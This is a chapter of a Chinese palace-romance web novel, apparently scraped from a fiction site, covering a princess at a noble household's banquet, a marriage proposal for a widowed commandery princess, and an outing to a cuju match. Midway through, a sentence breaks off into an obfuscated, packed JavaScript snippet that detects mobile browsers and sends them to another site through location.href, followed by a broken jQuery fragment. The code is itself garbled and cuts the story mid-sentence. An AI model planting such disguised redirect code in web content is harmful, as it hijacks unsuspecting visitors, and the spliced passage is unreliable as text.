场面缓缓静下来,周围的娘子和仆妇们似有所觉,皆面面相觑。
有胆子大的,悄悄打量一眼昭阳公主面无表情的脸,又赶忙低头,不敢再看。
一片寂静下,福昌郡主也察觉到昭阳公主心情不佳,缓缓敛了脸上的笑。
周澜衣皱眉看她,不明白方才还好好的,眼下这又是怎么了。
“都起来吧。”
把人扯到身后,她勉强解释了一句:“阿姐方才吃醉了酒,这会儿还不大清醒。”
众人这才唯唯诺诺地起身。
见周沛一还是一副无动于衷的模样,周澜衣忍不住瞪她。
她二人身为公主不进去,外面这些人都得候着。
周澜衣自觉没有那么大派头,凑近她道:“你在犯什么毛病?快点进去,有什么事回宫再说,别在外头害我跟你一起丢脸!”
周沛一深深吸了口气,方才勉强压下心中的怒火。
她转身当先往里面走去,心里却暗暗下定决心。
等回宫以后,她定要求阿耶把这个案子交给她办。
便是得罪礼王一脉,她也要让董宇吃不了兜着走!
嚣张也好,肆意也罢,总归要他不得安生,才能以慰亡魂。
*
世家勋贵的宴席向来没什么新意,都是些鲍鱼熊掌之类的大鱼大肉。
看着富贵奢靡,实则难以入口,端上来也没几个人会吃。
周沛一端坐着,左手边是老寿星护国公老夫人,右手一侧坐着周澜衣。
而周澜衣旁边就坐着福昌郡主。
这一桌不是主家老太太,就是公主郡主其他有资格陪坐的,自然都是诰命夫人。
定国公夫人、长兴侯夫人、威武侯夫人以及忠勇侯府老夫人,二公三侯家的诰命夫人都在这儿了。
只有一位忠勇侯夫人没来,听他家老夫人说,是乍寒料峭,染了风寒,便留在家中静养。
护国公府美妾虽多,但护国公一直不曾续弦,府里没有女主人。
而大少奶奶太过年轻,二房夫人身份差些,都被指派到旁的席面作陪去了。
因着礼王世子和福昌郡主的缘故,周沛一心情不好。
再加上似乎因为吃酒,身子疲软乏累,因此不大想费心思应付这些勋贵夫人。
只是到底是在旁人府上做客,不管怎么说,都要给护国公老夫人一点颜面。
因此便强撑着笑和坐在身旁的老寿星说话,只是难免有些心不在焉。
正三心二意之时,却听同桌的忠勇侯老夫人问福昌郡主:“上回冬至朝贺,老朽同您说的事儿,您回去后可有禀明礼王殿下?”
……什么事?
一桌子人都不禁投去视线,旁边桌子的人也隐晦地朝这边瞥来一眼。
福昌郡主向来是有些大咧张扬的性子,此时却难得害臊。
但还是直言回道:“说了。阿耶可能事忙,还不曾回话。”
礼王能有什么事?
游手好闲一闲王罢了。
平日里斗鸡摸狗、狎妓弄妾,王府里有名无份的孩子生了一堆,也没见他偏宠过哪个。
礼王世子和福昌郡主只能算命好,有个原配的阿娘。
人虽然被礼王嫌弃村妇粗鄙,被逼死了,但生前好歹占了礼王妃的名份。
因此董宇虽也是烂泥扶不上墙,但基于礼法,士大夫们还是同意封他为世子。
话说回来,礼王好好一闲王,能有什么要紧事,连嫡长女的请托都视而不见?
忠勇侯老夫人不知她这话是婉拒的托词,还是实话。
索性挑明了问:“说句僭越的话,老朽打从头一回见了郡主,就想让您做我家的孙媳妇儿。可惜我那孙子不争气,被原先那个狐狸精勾去了魂儿……”
叹了口气,她继续说道:“好在那狐狸精是个短命鬼,早奔着投胎去了。这下勾人的死了,我那孙子也回了魂。上回朝贺回去,老朽同他提了一嘴郡主,他当即连连点头。”
“我觉得不对,细细追问,这才晓得他不知何时曾见过郡主一面,只一眼就被郡主给迷住了!这些日子,三番两次来催我呢!”
说完,她笑眯眯地拍了拍福昌郡主的手,语气殷切。
“就是不知郡主对我那孙子……?”
此话一出,众人这才恍然大悟。
原来忠勇侯老夫人这是想为孙子求娶福昌郡主呢!
看着忠勇侯老夫人笑得慈和的模样和福昌郡主羞臊的脸。
众人不禁想,忠勇侯嫡长子和福昌郡主,一个鳏夫,一个寡妇,倒也般配。
周沛一事不关己地旁观,忽然想到福昌郡主比她还要大上六七岁。
成婚似乎也是五六年前的事了。
郡马周沛一在几年前宫宴上也见过,是个消瘦的俊朗青年。
听段给使说,这位郡马是被福昌郡主榜下捉婿捉来的,在当年一众赴京赶考的举子中也算是个有才的。
只是郡马福薄,三年前不知何故病逝了。
福昌郡主便领着儿子寡居在礼王府。
是的,福昌郡主和先郡马还有个五岁的儿子。
勉强算是周沛一的堂表外甥。
长得白白胖胖的,一看便知是礼王府的孩子。
福昌郡主显然对儿子也有顾虑。
一阵羞臊后,她犹豫道:“老太太是知道我的,庭哥儿……”
庭哥儿就是她的儿子。
“这有什么打紧!”
忠勇侯老夫人道:“侯爷和大郎时常忙得不着家,我这个老翁婆正愁身边没个孩子绕膝呢!更何况若是……成了,郡主的儿子便也是咱们侯府的孩子,绝不会委屈什么。”
她态度殷切,福昌郡主抿了抿唇,当着这么多人的面儿,不好应承什么。
只说:“这事儿还是得要我阿耶做主。您不妨请侯爷上门一趟,和我阿耶谈谈,我……我再想想。”
她也不是什么含羞待嫁的黄花闺女。
这么多人面前说这事儿,虽难为情,但也没必要太过避讳。
叫忠勇侯和礼王谈,实则与让人上门提亲无异。
可见,她是有些意动的。
只是不愿意明说,显然还是想再考虑考虑,也是给自己留了余地。
在场的夫人以前再是无知蠢笨,多年高位坐下来,对个中含着深意的话也耳濡目染了。
因此,福昌郡主刚一说完,大家便都懂了。
忠勇侯老夫人没再接话,但脸上笑意更深,一双略显浑浊的眼睛隐晦地在她玉盘似的脸和圆润的腰臀处飞快扫过。
定国公夫人向来心直口快,笑着对忠勇侯老夫人道:“老太太恭喜啊!看来明年开春,贵府上也要办喜事了?”
她开了个头,在场其他老夫人少奶奶都笑着恭贺起来。
就连护国公老夫人也笑眯眯地贺道:“看来忠勇侯府明年也要添丁了啊!”
不怪她这么说,这个年纪的老太太,最惦记的就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333596|183361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿孙满堂。
只是不知道,她说的是福昌郡主和庭哥儿,还是旁的什么。
……
周沛一和周澜衣身为这一桌上唯二还没有成婚的娘子,实在不好搭话。
但好在以她们的身份,也不需要凑上去说什么吉祥话。
厅堂内正热闹着,门外候着的婆子掀开厚重的帘子,领着一个前院的小厮进来。
小厮垂着手,恭敬道:“诸位夫人娘子,郎君命奴婢传话,说他们要去小园子后头的鞠城蹴鞠,叫夫人奶奶和娘子们用过膳,有兴趣的可以过去瞧瞧。”
护国公府大少奶奶认出这小厮是丈夫的人,不由得微蹙了下眉,心下疑惑。
原先定下的章程里并没有蹴鞠,怎么这会儿又领着人去了鞠城?
她没有应声,转头看向老夫人。
护国公府没有国公夫人操持,家里中馈一直都由老夫人攥在手里。
因此不管有什么事儿,家里上下都要看老夫人的意思。
郎君们凑在一处玩乐而已,护国公老夫人倒不觉得有什么。
她摆摆手,“想去就去吧。”
说完,依旧特意叮嘱周沛一。
“公主有兴趣的话不妨也去,鞠城那边有专门供人观赏的亭子,叫下人挂上幔帘,也不必担心寒风吹。”
又对周澜衣颔首,“让三娘陪着二位公主。”
周沛一没有推辞,拉着周澜衣起身,向在场夫人娘子们微微颔首,便又被一群娘子簇拥着出来。
路上,周澜衣皱着眉扯被她拽在手里的衣袖。
她压低声音道:“放开!你要去就去,拉我做什么?”
周沛一把重量压在她身上。
“我不信你不想去……扶着我点,腿还软着。莫让我摔了,这些天你给我脸色看的事,我就大人有大量,不跟你计较了。”
周澜衣脸色一黑,咬牙切齿。
“少给自己脸上贴金!”
“我倒是不必,但我觉得你该多贴点‘金’。说起来,你今日的妆容有些淡了,花钿和面靥都没贴,看看江三娘子……”
“……闭嘴!”周澜衣面色略有狰狞,显然被她混不吝的样子气的不轻。
“再说我就松手了!”
扫了眼远处默默跟着的段给使,周沛一闭嘴了。
*
蹴鞠本是中原流传多年的娱乐方式,放在以前多用做练兵之用。
到如今渐成风气,时人多以此强身健体。
蹴鞠发展到本朝,主要分做两种。
一种在民间被叫做“白打”,属于表演,用头、肩、胸等部位点毬接毬,展示一些耍毬的技艺;
另一种就是赛毬,只能用足踢。
这种通常将人分为两拨,长而方的鞠城两侧种上两杆竹子,把编好的布网络子分挂在竹子上撑开,用来接挡毬。
两拨人便分做两边角逐,踢毬击网者即为胜。
江家大郎他们玩的便是这第二种。
周沛一和一众娘子到鞠城的时候,两边还没有开始。
国公府的下人引她和周澜衣进了视野最为开阔的亭子,又十分贴心地端上茶水和点心。
只是周澜衣不想跟她单独待在一处,等她坐下,便毫不犹豫地转身去寻江三娘她们。
这倔丫头……
周沛一目送她离开,安然自得地享受起只有她一人的宽敞亭子。
轻抿了口茶,随即她探身,看向鞠城内的两队人马。